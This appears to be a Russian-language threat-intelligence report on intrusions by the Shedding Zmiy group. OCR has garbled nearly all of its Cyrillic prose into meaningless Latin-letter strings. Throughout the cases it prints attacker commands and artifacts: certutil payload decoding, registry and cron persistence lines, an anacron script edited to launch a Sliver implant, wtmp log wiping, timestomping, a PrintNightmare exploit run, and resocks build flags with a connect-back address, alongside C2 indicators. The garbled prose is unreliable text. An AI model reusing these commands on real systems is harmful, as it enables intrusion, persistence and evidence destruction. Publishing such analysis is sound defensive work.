dism.bat. OH nekoanpoBan BHOBb 3arpyeHHbIM payload cneaytoLen KOMaHAoW:

C:\Windows\SysWOW64\certutil.exe certutil -decode dism dismcore.dll

CnycTa HeCKONMbKO cekyHA nocne 3arpy3ku ¢pannos B katanor C:\Intel atakyowume 3arpysaunu tyaa xe
apxuB cfg.zip, coaepxawmm pannbl:

e config.yaml;
e xdd.dll.

BepoaTHO, ¢ nepBoHavanbHO 3arpyeHHbiM CTg.zip Takke, kak u c dismcore.dll, BO3HWKAM
npo6nemsl. Moatomy Shedding Zmiy, ¢ nomoLybto Bcé Toro xe DarkGate, 3arpysunu apyrov batch-ckpunt
— cfg.bat. 3anycTus ero, ataxytoLime BbINOMHUAN CAEAYIOLLYIO KOMaHAY:

certutil -decode cfg cfg.zip

M3 Kkellca, Ha KOTOpbIV Mbl pearMpoBanu 6onee Yyem nonroaa crycTs, Mbl y3Hanu, uto cfg.zip — ato
XXECTKO 3aKOIMPOBaHHOE UMA apxmBa, KOTOPbIM UCNOSb3YeTCA paHee HEU3BECTHLIM HaM 3arpy34ymKoM.
Ero mbl Bnocneacteuun Hassanu XDHijack. 3ToT 3arpy3unk pacnakoBblBaeT apxms, UCMOMb3YA XECTKO
3akoaupoBaHHbIM napornb. Jlanee oH, ¢ nomoLbto TexHukK reflective dll injection, 3arpyxaet dll n
BbI3bIBAET €€ IKCMOPTHYHO PyHKUM0. Bonee noapobHo o PpyHKumMAx 3arpy3unka XDHijack pacckaxem B
OZHOM M3 cneayoLwmx nybnmkaumn.

Cnycta 15 MUHYT nocne noasneHus Ha padoyeit ctaHuun dpaina C:\Intel\dism.exe aHTuBUpPYC
MOMECTMI Ero B KAPaAHTMH, TEM caMbiM 0TOOPAaB y aTaKyoLmnx BO3MOXHOCTb 3anycka BIMO. Ho Shedding
Zmiy He pacTepAnucb 1 NPOCTO BbINOSIHWM CIEAYIOLLYIO KOMaHAY, CKONMPOBaB NerMTUMHbIN
ncnonHAemMbl dann U3 CUCTEMHOW AUPEKTOPUM YXKe B APYroM KaTanor.

cmd.exe /c copy C:\Windows\System32\dism.exe C:\Users\[redacted]
\OpenVPN\dism\dism.exe

Hanee ckonuposanu B katanor C:\Users\[redacted]\OpenVPN\dism u dismcore.dll.

Ha cneaytowmin ieHb aTakytoLMe BEPHYIUCb HAa CUCTEMY NEPBOHAYANIbHOM XEPTBbLI U, UCMONb3ysA
DarkGate, 3arpy3unv Ha XOCT y)e U3BECTHbIM HaM M3 NpeablayLuero Keica 3arpysyuvk Coblint B Buae vbs-



1 ps1-ckpunToB, KOTOPLIM B KayecTBe C2 ucnonb3oBan agpec: hxxps://onexboxlive[.]com.

Uma Ppanna Jata co3naHunA

C:\ProgramData\AdobeR\pdfdrt.vbs 07.07.2023 12:18:43

C:\ProgramData\AdobeR\pdfdrt.psl 07.07.2023 12:18:43

CnycTa 15 MUHYT aHTMBMPYC OTNpaBun 3T Gansnbl B KAPAHTUH, TEM CaMbIM CHOBA HapyLLUMUB NiaHsbl
3110yMblILLNEeHHUKOB. OAHaKOo, KaKk Mbl 3HaeMm, 3Men O4eHb U3BOPOT/INBbLIE, MOSTOMY U 3[4eChb rpynnupoBKa
Haluna BbIXoA. ATakytoLue cKonupoBanu BpeAoHOCHbIM ckpunT 0607 [ redacted] . vbs, koTopbii
“3Ha4yanbHO ObiN HaNpPaBnEeH XepTBe U He AeTeKTupoBanca aHTueupycom, B C:\Intel. fencTeue
MO3BOIMIO aTaKyoLL MM 3aKpennTbCA B CUCTEMHOM peecTpe.

cmd.exe /c copy C:\Users\redacted\Desktop\0607 [redacted]. vbs C:
\Intel\GfxCPLBatch.vbs

Ins 3akpensieHns oHW BbiOpanu M3BECTHbIN (HO HE HACTOMbKO NONynApPHbLIM Kak Run unv RunOnce)
Kntoy peectpa Environment nonb3oBatensbckoro kycta peectpa NTUSER.dat, rae cosaanu sHauyeHve
UserInitMprLogonScript co cneayiowmm CoaepXMmMbIM:

wscript.exe C:\Intel\GfxCPLBatch.vbs

Mbl He yBuaenu pasmeryeHna Hosoro BI1O Ha aTtoi cucteme, NO3TOMY CUMTaEM, YTO B AaslbHEWLLEM
aTakyrouwme ucnonb3osanu Tonbko DarkGate ana csoux onepaunin. Ub-cneunanuncTol atTakoBaHHOM
opraHusauuu cpearmpoBanu Ha NPOU3oLLEALLEE U Y)KE HA CNeayoWni AeHb NOCne BTOPXKEHUA 0TO3Bau
CKOMMPOMETUPOBAHHbIE YYETHbIE AaHHbIe, TEM CaMblM 3aMesnB MPOABUXEHWUE 3/10YMbILLNTEHHWKOB.

34ecb Ha nomoLb Shedding Zmiy npuwina couynanbHas uHxeHepua. OHW onepaTMBHO co3aanu
derkoBbI Npodunb B Telegram u Hanucanu Nonb3oBaTesnto, YbA y4eTHan 3anuch Obina nsHavanbHO
ckoMnpomeTupoBaHa. Bolgas cebn 3a cotpyaHuka Mb-otaena (MmAa npoduna cocToano M3 gpamunum
nonb3oBaTesna, HWKHEro NoAYEPKUBAHUA U HA3BaHUA KOMMaHUK), OHK NOMPOCKUIN NpUcnaTb Naposnb ANA
y4yéTHoM 3anucu. Monb3oBatenb NBe3Ho cornacuncs.

Jarnee ¢ 3TMM naposiem oHW BOLLNK Ha nopTtan camoobcnyxuBaHua VPN v npussasanv cBoi Homep
TenedoHa B KauecTBe BTOpPOro daxropa. B aanbHelwem 310 No3BonMnIo UM 6ecnpenaTCTBEHHO
MOAKOYATLCA K MHPPACTPYKTYpE B3NTOMaHHOW KOMMNaHWW, HECMOTPA Ha Hanuuune 2 ¢pakropa
ayTeHTUDUKALUM.

|/|CI'IOJ'Ib3YF| CKOMMNPOMETUPOBAHHYHO yqéTHyPO 3anncb, rpynna ycnena nobbiBaTh eLie Ha HeCKOJTIbKMnX
XocTax, rae pasMmectuna meterpreter, 3aKpenus ero yepes saniaHMpoBaHHbIE 3a4auM.

Ha ¢puHanbHoM atane ¢ nomoLybto ceptudukata OpenVPN, 106bITOro Ha XOCTe COTPYAHMUKA,
MoNy4YMBLUErO GULLMHIOBOE MUCbMO C BPEAOHOCHBLIM BIOXEHUEM, aTakyoLme AoBpanucb 40 TECTOBOIO



CerMeHTa OAHOro U3 3aKas4yMKOB XEePTBbl U C TECTOBOIO NOYTOBOIO CepBepa, 0T UMEHU
CKOMMPOMETUPOBAHHOIO Nosb3oBaTend, CHOopMUPOBan U HANPaBKIM GULLNHIOBbIE MUCbMA,
coaepxatyme DarkGate, 6onee yem 50-Tv COTPyAHUKAM YXxe TPETbeN KOMNaHuu. MoakntoueHne K
NOYTOBOMY CEPBEPY B TECTOBOM CEMMEHTE OCYLLECTBNAMOCH C UCnonb3oBaHMem nonynapHoro VPN-
cepsuca SurfShark.

B aTOM Kelce aTtakyrolmMe cHoBa ucnonb3oBanu BpeaoHoc Coblint, a Takke Mbl OTMETHUN

noBTOPAtOLLYOCA 0COOEHHOCTb HevMuHra katanora (Intel n Intel1HTD B nepBom), B KOTOPOM
pasmelyanocs Bl1O.

Takke HeoOblYHOM 0COBEHHOCTLIO 3TOM aTaku ABnAeTcA To, YTo Shedding Zmiy Tpwxabl UCMONb30Basny
Z[OBEPUTENbHbBIE OTHOLLEHWA MeXAay pasfiMyHbIMU KOMNaHWAMM B CBOMX Lienax. B nepsbii pa3
Hanpasun GULLMHIOBOE NMCbMO OT UMEHM NoApAAYMKA XKepTBbl. Bo BTOPOM — nonyynnm AocTyn ot
MMEHU CKOMMPOMETUPOBAHHOW YYETHOM 3anncu K TECTOBOMY MOYTOBOMY CEPBEPY 3aKasuuka XepTBbl. B
TpeTut — pasocnanv GULKUHroBble NMcbMa ¢ BpeaoHocoMm DarkGate eLlwé oaHOMy 3aKkasuuKy XepTBbl.

O6Lwaa cxema 3TOW LienoYKM Bbirnaaena Tak:

Victim's contractor
mail server " Q 4 \ El T 1 DarkGate

0607_[redacted).rar Victim
XDHijack - AV Detect

——— Cobint - AV Detect

Customer == > Customer DarkGate
of the victim N21 == of the victim N22 C'"SG*G(C copy \0BOZ.{ o

Ci\Intel\GfxCPLBatch.vbs

Mail Servers

in the test segment NTUSER.dat\Environment\UserInitMprLogonScript:
wscript.exe C:\Intel\GfxCPLBatch.vbs

Keiic 3. Zimbra, ckpbiBatowjan 6onb

B koHue aBrycta 2023 roaa yensto Shedding Zmiy ctan noutosbiv cepep Zimbra Collaboration Suite
OZHOrO U3 OpraHoB MUCMONHUTENIbHOM BnacTh. Mbl HasBanu aToT Kelc “Zimbra ckpbiBatowan 6onb”, Taxk
Kak noroTun “Zimbra ”, Kak Ham KaxeTcA, HanoMuHaeT Mmem npo Maponbaa. OTkyaa B3Anack ata 6onb —
pacckaxem aanee.
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Zimbra

A SYNACOR PRODUCT

Y £

K coxaneHuto, Ha MOMEHT UCCrneaoBaHuUaA XypHanbl BeO-cepBepa yxxe poTUPOBasIMCh U ONpeaenuTb
TOYHbIM NyTb MPOHUKHOBEHMWA B CUCTEMY HE MPEeACTaBWUNOCH BO3MOXHbIM, OAHAKO ¢ HanbonbLuein Aonew
BEPOATHOCTH aTaKyloLmMe Npo3KcryaTuposanv oaHy u3 yassumocten B 10O Zimbra Collaboration Suite,
HeaKTyanbHaA BepcuA KOTOPoro Bbina ycTaHoBneHa Ha uccneaosaHHoM cepeepe (CVE-2022-27925,
CVE-2022-37042, CVE-2022-41352). UHbIX cneaoB, KOTopble yKasbiBasiv Obl Ha 3KcnyaTay o
KOHKPETHOM YA3BUMOCTH, Mbl HE OOHAPYXUITK.

MNepBble cneabl NPUCYTCTBUA MPYNMUMPOBKU B CUCTEME Mbl HALLMW B BUAE MHPOPMALUK O CO3AaHUK

¢daina /etc/1d.so.preload, B KoTopoMm Obina ykasaHa 6ubnuoteka /1ib64/1ibs. so. 310
MoNynApPHbLIA METOA 3aKpensieHna PYTKUTOB B Linux, Tak Kak yKasaHHyt B 3TOW NepeMEHHOMN OKPYXEHUA
6MBNNOTEKY CUCTEMHbIA KOMMOHOBLUMK BpeMeH#u BeinonHeHus (Ld. so) sarpyxaeT paHblLue apyrux. ®ann
/11b64/1ibs . so okasancsa moaMouumnpoBaHHon Bepcuei 6axkaopa FaceFish Konnern us nnayctpum
ye pasbupanu FaceFish, ykasbiBasa Ha ero npuHaanexHocTb K (ex)Cobalt. MNpv aTom B ony6nvkoBaHHOM
oTyeTe, BPEAOHOC Aaxe Haxoaunca no naeHtuyHomy nytu. Cneaos Aponnepa sshins, KOTopbi BUAENU
KOJMeru, Mbl Ha CUCTEME He 0BHapYXMIK.

HekoTtopoe Bpemsa cnycTta, B cucteme 6bin co3aaH dpain /tmp/socks . out — linux-BapnaHt SystemBC,
KOTOpbIX Mbl BUAenu B nepsom kerce (Nepsana HuTouka). OH 3aKkpennanca xapakrepHon ana SystemBC
CTpokou B ¢pamnne /var/spool/cron:

@reboot echo socks5_backconnect666 > /dev/null | (cd /tmp && ./socks.out)
15 3 15 * * /root/get certificate.sh

* */3 * * * drweb-ctl update

00 * * 6 drweb-ctl scan / --0nKnownVirus=QUARANTINE - -
OnSuspicious=QUARANTINE

0 8 * * 6 drweb-ctl threats --Quarantine All

0 22 * * 5 drweb-ctl quarantine --Delete All

0 15 * * 6 systemctl start zimbra.service
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C2 SystemBC:

e 130.193.55[.]216
e backconnect[.]org

CnycTa aBa mecAua nocne BTopxeHua, Shedding Zmiy pasmecTtunu B cucteme umnnaHt Sliver B dpanne
/usr/sbin/sshd-xevents u 3akpenunu ero uepes systemd, cosaas toHuT-dann /etc/systemd/
system/sshd-xevents.service, npuBeaEHHbIN HUXKE:

[Unit]
Description=System Logging Service For SSH

[Service]

Type=simple
ExecStart=/usr/sbin/sshd-xevents
StandardOutput=null
StandardError=null
Restart=on-failure

RestartSec=5s

[Install]
WantedBy=multi-user.target

KomaHnaHbiM aapec umnnaHTa mtls://195.2.76[.]120:443 . |IP npuHaanexut xoctuHr-nposanaepy VDSina,
rae atakyoLwme 04eBMAHO apeHaoBanu pecypchbl. Mbl NpULAM K BbIBOAY, YTO HANIMUMEe apeHAO0BaHHbIX
pecypcoB Ha Tepputopumn Poccun, ckopee Becero, Heobxoanmo Shedding Zmiy ana o6xoaa 61oKMPOBOK
no GeolP.

Tawke Ha 3TOM cucteMe Mbl 0BHapPYXunu cneabl ucxoaswero SSH-coeAMHeHWA Ha aapec
80.77.25[.]147, npuHaanexawimm HeMeLKOMYy XOCTUHI-NpoBanaepy.

MpoaBUHYTLCA BrNyOb MHPACTPYKTYPbI B BUAY OTCYTCTBUA CETEBOM CBASHOCTU C STOKANIbHOWM CETHIO
opraH1sauuu y 3noyMblLLITEHHUKOB He BbILLSIO, OAHAKO, OHWU, Kak MMHUMYM C KoHUa asrycta 2023 roaa no
Hayano ¢pespana 2024 roaa, MOrnM YiTaTb NEPENUCKY OpraHn3aunu.

Keuc 4. Atakyet Benukun MRX

CneaytoLlen xepTBow yxxe B okTAOpe 2023 roaa ctana KoMnaH1a SHepreTUYecKoro cektopa. Beé
Hayanocb C AETEKTMPOBAHWA NOA03PUTENIbHON CETEBON aKTMBHOCTU B MHDPACTPYKTYpe,
NPEeAnonoX1TENbHO, ABNAIOLLENCA pesynbTaToM CKaHMPOBaHUA BHYTPEHHEN CETU C OAHOIO U3 CEepBEPOB
XepTBbl.



MpoaHan1ManpoBaB 3TOT XOCT, Mbl 0OHaPYXWUK cneabl noao3putenbHoro RDP-noakmitoueHuns K Hemy,
CMYYMBLLEroCA HaKaHyHe No3aHMM BedepoM. CMyTUIO MMA XOCTa, MHULMMPOBABLLErO NOAKIHYEHHE:
«mrx’s-MacBook-P». 3aecb Mbl ans cebs otmeTunu, 4yto y Shedding Zmiy Hennoxo# BKyc B o6nacTtu
KMHO, ¥ OHM ABHO CMOTPeNn GubM npo xakepos «Kro H».

Mo ctoxety MRX — TauHCTBEHHbIM XaKep BblCOYaWULLEro YPOBHA, KOTOPbLIM CTOAN 3a CaMbIMU MPOMKUMMU
B3nomamu. [MaBHble repoun ctapatotca 06patutb Ha cebs BHMMaHne MRXa, coBepluan CBOM «MoaABUM»
B OAHOM M3 KOMbIOHMTHK JlapKHeTa.

Ot knMHemarorpada BepHemMcA K Hawemy keicy. NpoaHanusuposas norn VPN-noaKNtO4YEHUI, Mbl
YyCTaHOBW/IM, YTO aTaKkytolme, NOAKNIYAACL K MHDPACTPYKTYPE XKEPTBbI, UCMONb30BaU JIETMTUMHYHO
YUYETHYHO 3anucb NoAPAAYMKA, MMEBLLErO AOCTYN K UHPPACTPYKTYPE KOMNaHUKU-KePTBbI. [MoaKntoueHnn
BbINONHANK C ABYX |IP-aapecos:
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¢ 5.8.16.149 — npuHaanexut EstNOC QY, Proton VPN.

¢ 45.82.33.248 — npuHaanexut Packethub s.a. — pacnonoxeHHou B JIuTBE KOMNaHUM,
npeaocTasnAoLen pasnnyHble IT-cepBuChl.

MoaxntounBLIKMCh K XOCTY, Shedding Zmiy BeINONHUAKM cneayoLmi powershell-ckpunT ¢ Lenbio NPOBEPKK
BO3MOXHOCTH MOBbLILLEHWUA NPUBUIIETNN:

powershell -ep bypass -c .\PrivescCheck.psl; Invoke-PrivescCheck -

Extended" > res-[redacted].txt

Y6eanBLUMCH B BOSMOXHOCTM MOBbILUEHWA NPUBUNErUA, aTakytoLlmMe 3anyCTUn SKCIIoNT ANns
aKcnnyarauum yassumocTtu PrintNightmare:

C:\Users\[redacted]\Downloads\cve-2021-1675.ps1

B utore, rpynnvMpoBKa nonyyuna B CBOE pacrnopsieHUe y4eTHYH0 3anucb SIOKanbHOro aaAMUHUCTPATOPa,
CO3JaHHyt0 B pesynbTaTe 3Kcrniyatayuu yassumocTu. [anee, BEpOATHO C UCMOSb30BaHWEM BCE TOMO Xe
PrintNightmare, arakytowyne 3anyctunu BIMO C:
\Windows\System32\spool\drivers\x64\3\vlib.dl1l. 370 eweé oanH aKcnnonT ang
noBbIWEeHnA I'IpVIBVIJ'IeFVIVI y)Xe A0 ypoBHA CUCTEMBI.

Ina nepBuyHOM passeaku U NonyyeHua ceeleHnin o foMeHe Shedding Zmiy ncnonb3oBanu CKpUNT
PowerView.ps1 ¢peinmsopka PowerSploit.

InA pasBeaky B JOMEHE OHM TaKke 3anyckanu ckpunT Backup.psl, koTopblit ABNAETCA MHCTPYMEHTOM
ADRecon.

Mbl 06Hapyxunu cneaytowue dannbl, cobpaHHble atakyowumu. 1o ux Ha3BaHUKO HECTIOXHO
AorajatbcA, Kakaa MHopmMauua o JoMeHe MHTepecosana Shedding Zmiy:

C:\Users\Public\admins.txt;

C:\Users\Public\gpo.txt;
C:\Users\Public\ADRecon-Report-20231016225221\CSV-File\Sites.csv;
C:\Users\Public\ADRecon-Report-20231016225221\CSV-File\Trusts.csv.

Mocne pasBeaku 1 cNycTa NONTOpa Yaca nocne nepeoHavYasnibHOro NPOHMKHOBEHUA, aTaKyroLme
3arpyaunu Ha xocT v 3anyctunum ¢ann C:\Windows\WoGjATEC.exe, koTopbli ABNAETCA YTUITMTOM
RemCom (aHanorom PsExec) 1 no3sonAeT BbIMNOMHATbL KOMaHAbl Ha yAaneHHbIX xocTax. [nAa
3aKpenneHus B CUCTEME aTaKytoLue cosaasnu HoBYO Cryx0y ¢ umeHem Bs rC.

CnycTa HeKoTopoe BpeMs, Yepes Bpaysep Ha xocTe atakytoLme sarpysunu u PsExec: C:\Users\
[redacted]\Downloads\psexec.exe.

Uepes 4 yaca, yxe rnybokoi Houbto, Shedding Zmiy BepHYMCb Ha XOCT NoA CO3AaHHOW Npu
akcnnyarauuun yassumocTu PrintNightmare yuetHoun sanuceto [redacted]\Administrator. B atoT pas
NOAKTHOYEHWE OCYLLECTBNANOCL HE C HOYTOyKa NereHaapHOro Xakepa 13 KMHo, a C KpawHe 4acTto
BCTpevatoLerocsa xocta «kali». 310 HaMeKkaeT Ha BEPOATHOE MUCMOb30BaHUE NOMYAPHOro
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AncTprByTnBa ANA NPOBEAEHUA TECTUPOBAHWUA Ha NMPOHUKHOBEHHME.

Uepes HECKOMBbKO MUHYT Mocne NOAKIYEHUS Ha NepBOHaYanbHO aTakoBaHHbIM XOCT Obln 3arpy)KeH
MONyNAPHbLIA MHCTPYMEHT ANA atak Ha npotokon Kerberos - C:
\Users\Administrator\Downloads\Rubeus.exe.

Eweé yepes yac, 1 cnycTa WecTb C NOSIOBUMHOM YaCOB NOCIe NepBOHAYasIbHOrO NPOHUKHOBEHWSA, B
cucteme 6bin passépHyT umnnaHT Sliver:C: \Windows\Temp\svchost.exe c komaHaHbIM aapecom
mtls://195.2.76[.]120, KOTOpbIM Mbl Y)Xe BCTpeyanu npu paccnenosaHuu kenca 3 (Zimbra, ckpeiBaroLyas
60nb).

34ecb Mbl TaKKe OTMETUITU CXOXKECTb HeMMUHIa ogHoro u3 obpasuos BIMO ¢ nepebiv keicom (Mepsas
HUTOYKa). Tam npokcK-60T SystemBC 6bin 3ameueH ¢ umeHem C: \Temp\svchost.exe. KoHeuHo,
MUMWKPKUA NOA CMCTEMHbIE NpoLecchl, 0cOOeHHO noa svchost, — 3To yacToe ABneHue. Ho B aAaHHOM
cryyae Mbl CKIIOHHbI CYMTaTh, YTO 9TO HE COBMaAeHne, a 3aKOHOMEPHOCTb, XapaKkTepHaa AnA onepauun
Shedding Zmiy .

Uepes HECKOMbKO MUHYT B cucTeMe Obin pasmelleH ¢ann C:\Windows\Temp\chi.exe, koTopblii
npeactasnaeT cobor MoaANPULMPOBAHHbLIN MHCTPYMEHT chisel, HanucaHHblM Ha GO ¥ MCNoNb3yeMblii
And TYHHenuMpoBaHua Tpaduka. B camnne Mbl Hawnu cneayrowmn KomaHaHbin agpec 94.103.84[.]207,
KOTOPbIN Takke npuHaanexan xoctuHr-nposanaepy VDSina.

YTpom cneaytoLlero AHdA, B TeYEHWe nosyyaca, atakyowe npons3soansivu CKaHMpoOBaHWe CETU XKepTBbl C
xocTa-nnauyaapmMa, Ucnonb3ya nonynapHbii MHCTPYMeHT SoftPerfect Network Scanner, apxue ¢ KOTopbiM
6b1n 3arpyxeH yepes bpaysep. CkaHMpoBaHWE NPOU3BOAMIOCH MO criedyrowum noptam: 22, 80, 135,
139, 443, 445, 3389.

Mo AaHHbLIM CTaTUCTUKM CETEBOrO 000PYA0BaHNUA XKEPTBbLI, HA KOMaHAHbIM aApPeC aTaKyrLmMX 3a 3TOT
ZeHb 6b1no nepeaaHo okono 1,5 MMrabanTt aaHHbIX.

MepBoHauasibHO aTaKytoLLMe UCMoNb30BaIu ANna AOCTyna B UHPACTPYKTYPY OAHY YUETHYHO 3amuChb.
OaHako, nocrne 3 HeZesnb 3aTHLLbA CHOBA MPULLINK B UHPPACTPYKTYPY XKEPTBLI YXKE C UCTOSb30BaHUEM
TPEX APYruX, KOTOPbIE TaKKe, KaK U nepBas, NPUHaANEXanu NoapAaUMKY.

B cnuncke aKkTUMBHbIX npoueccos OAHOM U3 CUCTEM (y>+(e cnycTa Tpu HeAeNn nocne nepBoHa4YaibHOro
,uocwna) Mbl HALWN aKTUBHbIE Npouecchl CO cneayrowmMmn UCnoTHAEMbIMAU cpanaMM:

e [1Ba 3K3emnndApa npouecca ¢ ucnonHaembim ¢pannom C: \Windows\Temp\dism.exe u
crneaylLwuMu KomaHananHamu:

cmd.exe /Q /c c:\windows\temp\dism.exe 1> \Windows\Temp\SnpHzr 2>&1
cmd.exe /Q /c c:\windows\temp\dism.exe 1> \Windows\Temp\faQlzZi 2>&1

e C:\svchost.exe.
OH npeacTtaBnaeT cobon UHCTPYMEHT resocks ¢ komaHaHbIM aapecom 94.103.84[.]207. B namATu
coaepxarnca cneayrowmn KOHPUr:

build -buildmode=exe
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build -compiler=gc

build -ldflags="-X main.defaultConnectBackAddress=94.103.84.207 -X
main.defaultConnectionKey=MHmfjMsydIPAIsX5AMrF1xcHZgKZpMZkZ20iX3zEBXQ"
build CGO ENABLED=0

build GOARCH=amd64

build GOOS=windows

build GOAMD64=v1

build vcs=git

build vcs.revision=984d875ab0ab97f842ab0f42846deeb467ed3e04

build vcs.time=2023-09-19T10:43:05Z

build vcs.modified=false

C:\windows\temp\dism.exe — 310 NErMTUMHBLIN UCMONHAEMBIN dans, C MOMOLLbH KOTOPOro
Shedding Zmiy peanusyet TexHuky dll-sideloading, noarpyxas BpeAoHocHyt0 6ubnunoTeky C:
\windows\temp\dismcore.dll. B Hawem cnyyae oHa npeacTaBnaeT cOO0M KaCTOMHbIV nim-
3arpysuuK, KOTOpbIM B NPOLiEcce CBOEro 3arnycka pacluMdpoBbiBaeT U3 cebs 1 3anyckaet umnnaHT Sliver
¢ C2 mtls://195.2.76[.]120. Bonee noapo6Ho 06 0COBEHHOCTAX NiM-3arpy3ymKa Mbl PaCcCKakemM B OAHOW
“3 cneayowux nyénukauuni. NpumMeHeHne aHanorMyHOM TEXHWKM C UCMNONb30BAHMEM MAEHTUYHOIO
NErMTMMHOrO MCMoMHAEMOro darna Mbl OnucbiBanu B npeabiayliem kence (Zimbra, ckpbiBatoLlas 60sib).

OT0 nNepBbIf yBUAEHHBIW HaMK Sliver-umMnnaHT, KoTopbli 6bi cobpaH ¢ ONUUAMM OrpaHUYEHUA Mo
3anycky (napametp limits npu renepauuun nmnnanta). UMnnaHT 3anyckanca TonbKO B CreayroLmnx
cny4yanx

e XOCT NOAK/TKOYEH AOMEHY;
e XOCT UMeeT XeCTKO 3aKoAnpoBaHHOE UMA.

Takke UMmnnaHT O6bin cobBpaH ¢ 3a4aHHBIM UMEHEM (Mo YMONUYaHW, UMNNaHTLI sliver UMeroT criyyarHoe
nvia B popmarte randomEnglishWord_randomEnglishWord) — [uma xocTa]-mtls, 4uTo ykasbiBaeT Ha
LieneHanpaseHHyo reHepaumio Ana CUCTEMbI, Ha KOTOPOW OH Bbln 0BHapyxeH, a mtls — npoTokon, no
KOTOPOMY Npoucxoanso obLieHue ¢ KomaHaHbIM aapecoM. Camo Ums umnniaHTa 6bino BUAHO B
ceptTuduKkatax B none Subject.

B aT10T )Xe nepuoa atakyrowme noaxkntoumnuck no SSH K ogHor n3 cuctem Ha 6ase Astra Linux ¢
AanbHenLwM NepexoaoM B PEXUM Cyrnep-nonb3oBaTens.

3arpysuB yepe3 /usr/lib/openssh/sftp-server ¢ain .g Shedding Zmiy BbINONHWUM KOMaHAbI MO
“3MeHeHUIo Bragenbua ¢anna, agobasunuv atpubyT UcNonHAeMoro ¢anna, NpoBepun 40CTYNHOCTb
OAHOrO M3 BHYTPEHHUX PECYPCOB M NeperMeHoBanu daisn, NnepemMecTmB ero B Apyryto AMPEKTOPUIO 1
3anycTunv B GOHOM pexume:

chown root:root .g

chmod +x .g

ping -c¢ 1 172.19.8.88

mv .g /usr/sbin/rsetlogd
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(/usr/sbin/rsetlogd &)
®awnn /usr/sbin/rsetlogd asnaetca umnnaHtom Sliver, umetowmm C2 mtls://195.2.76[.]120:443.

Ucnonb3ya peaaktop vim (pekomeHayem Bceraa npu aHanuse linux-cuctem He 3abbiBaTth NPO XypHan
vim. info), atakyowme nsmenunu ¢pann nnaHMpoBLLmKa 3agaHun /etc/cron.weekly/0anacron
AnA 3akpenneHuna umnnaxta Sliver. BoT Kak oH BbIrnAaen nocne peAakTupoBaHua:

#!/bin/sh

#

# anacron's cron script

#

# This script updates anacron time stamps. It is called through run-parts
# either by anacron itself or by cron.

#

# The script is called "Oanacron" to assure that it will be executed

# before all other scripts.

(/usr/sbin/rsetlogd &)
test -x /usr/sbin/anacron || exit 0O
anacron -u cron.weekly

Cnenom Shedding Zmiy npumeHunu TexHuKy timestomping, M3MeHMB BpeMeHHbIE METKU NocneaHero
ZA0CTyna u MoanduKalmMmn oTpeaakTMpoBaHHoro ¢aina @anacron takum o6pasom, YToObl OHM
COOTBETCTBOBASIN BPEMEHHLIM MeTkam ¢anna /etc/cron.weekly/man-db:

touch -r man-db Oanacron

Hanee, ¢ ucnonb3oBaHMeM LUTATHOW yTUMTLI utmpdump, Shedding Zmiy yaanunu cneapl
ayTeHTUdUKaLMM Ha XOCTe Mo CKOMMPOMETUPOBAHHOW YYETHOMW 3anuCbio B XypHane wimp.

utmpdump /var/log/wtmp

utmpdump /var/log/wtmp | grep -v [redacted] >.t
utmpdump -r < .t> /var/log/wtmp

rm .t

MocrneaHel akTUBHOCTBIO HAa XOCTE cTana npoBepKa JOCTYNHOCTU BHELLHMX CETEBbIX PECYPCOB M Tabnuy
MapLIpy TU3aLuK:

dig google.com
ping google.com
curl ya.ru

curl https://ya.ru
iptables

iptables -L



iptables -L -v
iptables -L -v -n
curl https://ya.ru
exit

Houbto Toro e aHA Ha oAHOM K3 cepBepoB noa ynpasneHvem Windows dukcrpoBanuch coObiTuA
cosfaHus HoBbix cnyx6 SVCHOST BC u SVCHOST BC2, BoinonHatowmx 3anyck ¢pannos C: \Program
Files\VMWare\temp\svchost.exe n C:\Program Files\VMWare\temp\winutil.exe, ogHako
camu ucnonHsaemble dainbl, BEPOATHO NpeacTaBnaAtowme cobor umnnanTel Sliver, Ha xocTe
oTcyTcTBoBann. CKopee BCero, atakyoLwme ux yaanunu, Tak Kak UM He yaanock ceasatbea ¢ C2. Ha ato
yKasblBaeT T0, YTO cpeacTBamMu dpaepBona ¢ AaHHOW CUCTEMbI HEMOCPEACTBEHHO NOCNE co3aaHusA Cryxo6
duKeupoBanucb HeycrelwHble obpatyeHuns K C2 Sliver mtls://195.2.76[.]120.

B 10T Xe nepuoa atakyrowme ncnonbsosann WinRM ana noaxkntoyeHna K 0AHOMY U3 cepBepoB Noa
y4yeTKoM aaAMUHUCTparTopa AomMeHa. CnycTa HEKOTOPOe BpeMsd B cucTeme Obin co3aaH BPEAOHOCHbIH
¢dann C:\Program Files\VMWare\temp\dismcore.dll, xaw-cymma KOTOPOro coBnazana c paHee
oBHapyXXeHHbIM Ha Apyrom xocte. Pann ABNANCA KACTOMHbIM NiM-3arpy34nKoM, KOTOPbIV NOcne 3anycka
yepes TexHuky dll sideloading pacumndposbiBan u3 ceds u 3anyckan umnnaxt Sliver (C2: mtls:/
195.2.76[.]120). Mo ckpuntbnokam powershell Ham cTano NOHATHO, YTO (ai KONMPOBAIX Ha CUCTEMY
yepes yTunuTy winrm-fs, KotopaA No3BoONAET yAanNEHHO 3arpyxaTtb dansibl Ha XOCTbl Yepes NPOTOKON
WinRM.

Ewé Ha oaHoM xocTe noa ynpaeneHnem Astra Linux Mbl 06HapyXunv AeNCTBUA aTaKyoLmX,
WAEHTUYHbIE ONMcaHHbIM paHee. OTnnyanock TonbKo MMA umnnadTa Sliver /usr/sbin/sshd-
watchtower, Ho KOMaHAHbIV aapec Npu 3TOM OblN MAEHTUYEH. Takke nepes BbIXOAOM U3 CUCTEMDI
aTaKyLMe OYUCTUIIN UCTOPUIO KOMaHAHOM 060n0oYKK bash.

Keuc 5. BosBpalyeHue Cobint

B aTom Kkeiice B aekabpe 2023 roaa Shedding Zmiy atakoBanv o4Hy U3 MyHULMNANbHBIX OpraHn3auymi, o
yéM Mbl NOAPOOBHO y)Ke pacckasbiBanu B Hawem 6riore. OTMETUM HEKOTOPbIE MOMEHTbI, KOTOpbIE
CBA3bIBAIOT ATy aTaKy C yXXe ONUCaHHbIMU:

* NMEPBUYHOE 3apaXeHne Yepes PULLMHIOBOE NUCbMO, COAEPXKaLlee apx1B C BPEAOHOCHBIM dannom
BMNOXEHWEM, OTKPbITUE KOTOPOro NPUBOAMIIO K 3arpyske BpeaoHoca Coblint;

* MCMNONb30BaHWE NErMTUMHOro ucnonHaemoro davna dism.exe npu peanusauunm TexHukm dll-
sideloading;

e 1CNOSMb30BaHWe MOANPULMPOBAHHOM YTUNKUTLI chisel C KoMaHAHBIM aApPecoM NpPUHaANeXaLlmum
xocTuHr-nposanaepy VDSina;

